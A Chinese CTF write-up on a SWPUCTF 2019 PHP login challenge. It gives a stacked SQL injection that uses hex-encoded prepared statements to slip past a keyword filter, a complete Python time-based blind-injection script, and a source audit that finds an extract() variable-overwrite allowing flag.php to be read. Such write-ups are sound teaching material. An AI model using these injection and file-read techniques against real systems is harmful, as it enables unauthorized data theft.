通过这个题目学习到了sql注入一个新的技巧,之前没接触过的,预编译+16进制绕过,然后就是代码的审计
首先点了一下注册按钮,功能还没实现,然后就尝试了一下万能密码,无果,然后在跑了一下字典发现:
单引号时候,会出现php的报错,不是mysql的,所以不可能用到报错注入,然后其他的显示都是 username or password error!
但是发现,当输入单引号,然后一个分号的时候,发现又成功回显,而不是返回的500,说明分号在这里起到效果了,可能存在堆叠注入。
但是因为过滤了很多关键词,所以我们这里尝试一下预编译+16进制 绕过:
1 2 3 set@a=0x73656c65637420696628737562737472282873656c6563742067726f75705f636f6e63617428666c616 7292066726f6d20666c6167292c7b307d2c31293d277b317d272c736c6565702833292c3129; prepare ctftest from @a;execute ctftest;
这里的16进制转成ASCII 就是简单的一个盲注语句:
1 select if(substr((select group_concat(flag) from flag),{0},1)='{1}',sleep(3),1)
然后写一个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport jsondef str_to_hex (s ): return '' .join([hex (ord (c)).replace('0x' , '' ) for c in s]) url="http://0f763aa6-1a38-48f6-86f9-0b25184ba0eb.node3.buuoj.cn/index.php?r=Login/Login" dicts="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}" exp="select if(substr((select group_concat(flag) from flag),{0},1)='{1}',sleep(3),1)" flag='' def main (): for i in range (1 ,20 ): print (i) for char in dicts: r=requests.session() exps=exp.format (i,char) exp2=str_to_hex(exps) payload="asd';set @a=0x{0};prepare ctftest from @a;execute ctftest -- " .format (exp2) data={"username" :payload,"password" :"123" } try : res=r.post(url=url,json=data,timeout=2 ) except : global flag flag+=char print (flag) break if __name__== '__main__' : main()
有几个地方,一开始死活打不出来
第一个点发现 url 那里错了 ,r=Login/Login 被我写成了 Login/Index
这里的数据是传到了 Login/Login
然后第二个点是 用 json格式传过去 ,所以需要json格式转换一下
第三个点是 payload 那里 结尾 可以用 ; ,或者 –空格 来注释后面的语句,一定要有空格,然后分号那里,虽然最后是 ‘语句1’;语句2;语句3; ’ 最后多了一个引号,堆叠是一个一个执行的。1,2,3 都是正常执行的,到最后一个引号那里会报错,不过问题不大。
第四个点就是 flag 变量那里,我一开始在函数外定义了一个 flag, 我在函数里面直接引用是会报错的,需要用到一个关键词 global 来定义全局变量。
最后爆破得到:
glzjin_wants_a_girl_friend.zip
访问拿到源码:
MVC模式,看一下它的源代码
index.php
1 2 3 4 5 6 7 8 9 10 11 <?php define ('BASE_PATH' , __DIR__ );define ('BASR_URL' , "{$_SERVER['SERVER_NAME']} /demo/Blog" );require BASE_PATH . '/Common/config.php' ;require BASE_PATH . '/Common/fun.php' ;require BASE_PATH . '/Common/Tools.php' ;
导入了核心类
config.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php namespace DB ;define ('DB_DSN' , 'mysql:dbname=ctf;host=localhost;charset=utf8' );define ('DB_USER' , 'ctf' );define ('DB_PASSWORD' , 'swpuctf2019' );define ('DB_DATABASE' , 'ctf' );define ('DB_PORT' , '3306' );define ('CHARSET' , 'utf-8' );define ('DEFAULT_PAGE_SIZE' , '5' );
数据库的一些配置信息
fun.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php if (!file_exists ('D' )){ function D ( ) { echo '<pre>' ; print_r (func_get_args ()); echo '</pre>' ; } } if (!file_exists ('user_aotu_load' )){ function user_aotu_load ($className ) { $classPath = 'Lib' ; if (strrpos ($className , 'Controller' ) !== FALSE ) { $classPath = 'Controller' ; } else if (strrpos ($className , 'Model' ) !== FALSE ) { $classPath = 'Model' ; } $classPath = BASE_PATH . "/{$classPath} /{$className} .php" ; if (file_exists ($classPath )) { include $classPath ; } } spl_autoload_register ('user_aotu_load' ); } if (!empty ($_REQUEST ['r' ])){ $r = explode ('/' , $_REQUEST ['r' ]); list ($controller ,$action ) = $r ; $controller = "{$controller} Controller" ; $action = "action{$action} " ; if (class_exists ($controller )) { if (method_exists ($controller ,$action )) { } else { $action = "actionIndex" ; } } else { $controller = "LoginController" ; $action = "actionIndex" ; } $data = call_user_func (array ( (new $controller ), $action )); } else { header ("Location:index.php?r=Login/Index" ); }
获取 request 的参数,如果是空,则跳转到 index.php?r=Login/Index ,然后以 / 为分隔符,来获取参数,一个作为控制器,一个作为方法action
BaseController.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class BaseController { private $viewPath ; public function loadView ($viewName ='' , $viewData = [] ) { $this ->viewPath = BASE_PATH . "/View/{$viewName} .php" ; if (file_exists ($this ->viewPath)) { extract ($viewData ); include $this ->viewPath; } } }
这个类的loadview 方法是 加载视图,把视图导入进来
LoginController.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php class LoginController extends BaseController { public function actionIndex ( ) { $loginModel = new LoginModel (); if ( !$loginModel ->loginCheck () ) { $this ->loadView ("userLogin" ); exit (); } else { $this ->loadView ("userInfo" , array ("msg" =>array ("code" =>"200" ,"info" =>"login success!" ))); } } public function actionLogin ( ) { $loginModel = new LoginModel (); if ( $loginModel ->loginCheck () ) { $this ->loadView ("userInfo" , array ("msg" =>array ("code" =>"200" ,"info" =>"login success!" ))); exit (); } $data = json_decode (file_get_contents ("php://input" ),true ); $data ['username' ] = $loginModel ->safe->check ($data ['username' ]); $password = $loginModel ->getPassword ($data ['username' ]); if ( $password === $data ['password' ] ) { $this ->loadView ("userInfo" , array ("msg" =>array ("code" =>"200" ,"info" =>"login success!" ))); } else { $this ->loadView ("userInfo" , array ("msg" =>array ("code" =>"202" ,"info" =>"error username or password." ))); } } public function actionOut ( ) { $this ->loadView ("userInfo" , array ("msg" =>array ("code" =>"200" ,"info" =>"login out success!" ))); } }
safe.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class Safe { public function check ($data ) { if ( preg_match ('/select|information|insert|union|ascii|,|like|outfile|join|<|>|and|substr|#|or|\|\||sleep|benchmark|if|&&/is' , $data ) ) { return "test" ; } else { return $data ; } } }
这里是对关键词进行了替换,替换为了test。
这里面都没有可利用的点,但是在view中的 UserIndex.php中看到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 if (!isset ($img_file )) { $img_file = '/../favicon.ico' ; } $img_dir = dirname (__FILE__ ) . $img_file ;$img_base64 = imgToBase64 ($img_dir );echo '< src="' . $img_base64 . '">' ; function imgToBase64 ($img_file ) { $img_base64 = '' ; if (file_exists ($img_file )) { $app_img_file = $img_file ; $img_info = getimagesize ($app_img_file ); $fp = fopen ($app_img_file , "r" ); if ($fp ) { $filesize = filesize ($app_img_file ); $content = fread ($fp , $filesize ); $file_content = chunk_split (base64_encode ($content )); switch ($img_info [2 ]) { case 1 : $img_type = "gif" ; break ; case 2 : $img_type = "jpg" ; break ; case 3 : $img_type = "png" ; break ; } $img_base64 = 'data:image/' . $img_type . ';base64,' . $file_content ; } fclose ($fp ); } return $img_base64 ; }
这里可以看到有 把图片打到页面的功能,我们如果让 $img_file=/../flag.php ,就可以把flag.php 以base64形式写进来
但是问题是怎么让$img_file 这个变量 为 flag.php 呢
UserController.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class UserController extends BaseController { public function actionList ( ) { $params = $_REQUEST ; $userModel = new UserModel (); $listData = $userModel ->getPageList ($params ); $this ->loadView ('userList' , $listData ); } public function actionIndex ( ) { $listData = $_REQUEST ; $this ->loadView ('userIndex' ,$listData ); } }
UserController.php 会加载 userIndex 视图,然后 $listData 又是可控的,然后看到 loadview()函数的功能:
1 2 3 4 5 6 7 8 9 public function loadView ($viewName ='' , $viewData = [] ) { $this ->viewPath = BASE_PATH . "/View/{$viewName} .php" ; if (file_exists ($this ->viewPath)) { extract ($viewData ); include $this ->viewPath; } }
有一个extract函数,这个可以起到变量覆盖的作用,这里的$viewData就是我们传进来的listData,是可控的,所以最后的payload:
解密base64拿到Flag